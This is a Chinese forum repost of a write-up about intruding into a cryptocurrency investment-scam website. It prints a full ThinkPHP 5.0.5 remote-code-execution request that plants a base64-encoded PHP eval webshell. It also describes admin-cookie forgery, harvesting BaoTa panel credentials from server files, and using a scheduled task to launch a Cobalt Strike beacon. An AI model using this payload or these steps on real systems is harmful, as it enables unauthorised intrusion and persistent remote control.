搜索

[18297] 2021-02-25_干货对某杀猪盘的渗透测试

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-25_干货对某杀猪盘的渗透测试 干 货 | 对 某 杀 猪 盘 的 渗 透 测 试 s p i d e r   H A C K 之 道   2 0 2 1 - 0 2 - 2 5 最 近 偶 然 发 现 一 个 虚 拟 货 币 买 涨 跌 的 杀 猪 盘 ， 遂 进 行 了 一 波 测 试 ， 前 台 长 这 样 。 为 t h i n k p h p 5 . 0 . 5 随 用 R C E 进 行 打 入 ， 成 功 写 入 w e b s h e l l 。 s = i n d e x | t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = a s s e r t & v a r s [ 1 ] [ ] = @ f i l e _ p u t _ c o n t e n t s ( b a s e 6 4 _ d e c o d e ( M T I z N D U u c G h w ) , b a s e 6 4 _ d e c o d e ( M T I 8 P 3 B o c C B l d m F s K E A k X 1 B P U 1 R b J 2 E n X S k 7 ) ) 查 看 发 现 p h p i n f o 信 息 发 现 已 经 禁 用 所 有 能 够 执 行 系 统 命 令 的 函 数 ， 且 c o m 和 d l 加 载 都 不 能 用 无 法 执 行 相 应 的 系 统 命 令 如 下 所 示 ： a s s e r t , s y s t e m , p a s s t h r u , e x e c , p c n t l _ e x e c , s h e l l _ e x e c , p o p e n , p r o c _ o p e n / / p h p 如 上 系 统 命 令 都 已 禁 用 但 有 文 件 的 读 写 权 限 没 有 禁 用 a s s e r t ( ) ， f i l e _ p u t _ c o n t e n t s ( ) 等 函 数 ， 查 看 后 发 现 为 w i n d o w s 系 统 如 下 所 示 ：
由 于 p h p 执 行 系 统 命 令 的 函 数 都 被 禁 用 了 ， 从 而 导 致 无 法 执 行 系 统 命 令 很 难 受 。 之 后 下 载 了 他 的 网 站 源 码 简 单 看 了 一 波 ， 发 现 其 管 理 员 c o o k i e 固 定 且 可 以 伪 造 如 下 所 示 看 着 像 后 门 ： 故 可 后 台 登 录 绕 过 ， 管 理 员 c o o k i e 固 定 ， 添 加 c o o k i e 字 段 即 可 登 录 绕 过 。 浏 览 器 f 1 2 ， 在 c o o k i e 中 添 加 上 述 键 值 访 问 i n d e x ， 即 可 成 功 后 台 登 录 如 下 所 示 好 多 钱 ( 被 骗 的 人 好 多 ) ：
前 台 询 问 客 服 了 解 到 转 账 账 户 ( 该 杀 猪 盘 运 作 方 式 是 用 户 将 钱 打 入 客 服 提 供 的 账 号 后 ， 用 户 再 在 自 己 的 账 号 冲 入 相 应 数 值 的 资 金 至 后 台 审 核 ， 审 核 后 即 可 使 用 该 数 值 的 钱 进 行 货 币 的 涨 跌 投 资 买 卖 交 易 ) ， 留 作 证 据 上 交 ： 由 于 之 前 一 直 无 法 执 行 系 统 命 令 ， 想 要 突 破 一 下 就 开 始 翻 他 服 务 器 上 的 文 件 ， 翻 阅 系 统 文 件 发 现 存 在 宝 塔 的 文 件 夹 ， 探 测 发 现 确 实 开 放 8 8 8 8 端 口 存 在 宝 塔 服 务 但 默 认 登 录 入 口 已 被 修 改 ， 如 下 所 示 ：
翻 阅 宝 塔 文 件 发 现 存 储 路 径 的 文 件 名 a d m i n _ p a t h . p l ， 如 下 所 示 ： 找 到 宝 塔 登 录 入 口 ， 成 功 访 问 该 登 录 入 口 ， 如 下 所 示 ：
继 续 翻 阅 发 现 一 个 d e f a u l t . p l 的 文 件 ， 该 文 件 中 存 放 的 是 相 应 的 登 录 密 码 ： 拿 到 密 码 尝 试 了 默 认 用 户 名 发 现 不 对 不 能 登 录 ， 继 续 翻 文 件 d e f a u l t . d b 文 件 是 记 录 登 录 记 录 的 ， 找 到 登 录 账 号 ：
利 用 账 号 密 码 成 功 登 录 宝 塔 管 理 后 台 ， 如 下 所 示 ： 利 用 账 号 密 码 成 功 登 录 宝 塔 管 理 后 台 ， 如 下 所 示 ： 找 到 定 时 任 务 处 修 改 计 划 任 务 执 行 c s 上 线 马 ， 上 线 后 在 将 计 划 任 务 改 回 如 下 所 示 ：
c s 成 功 上 线 如 下 所 示 ： 查 看 i p 仅 有 公 网 地 址 无 内 网 ， 同 C 段 还 有 其 他 几 台 部 署 的 都 是 同 一 套 东 西 就 不 在 往 下 搞 了 ： 总 的 就 这 样 ， 没 啥 东 西 比 较 无 味 。 作 者 ： s p i d e r ， 转 载 于 先 知 社 区
E N D ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ） 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ”
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理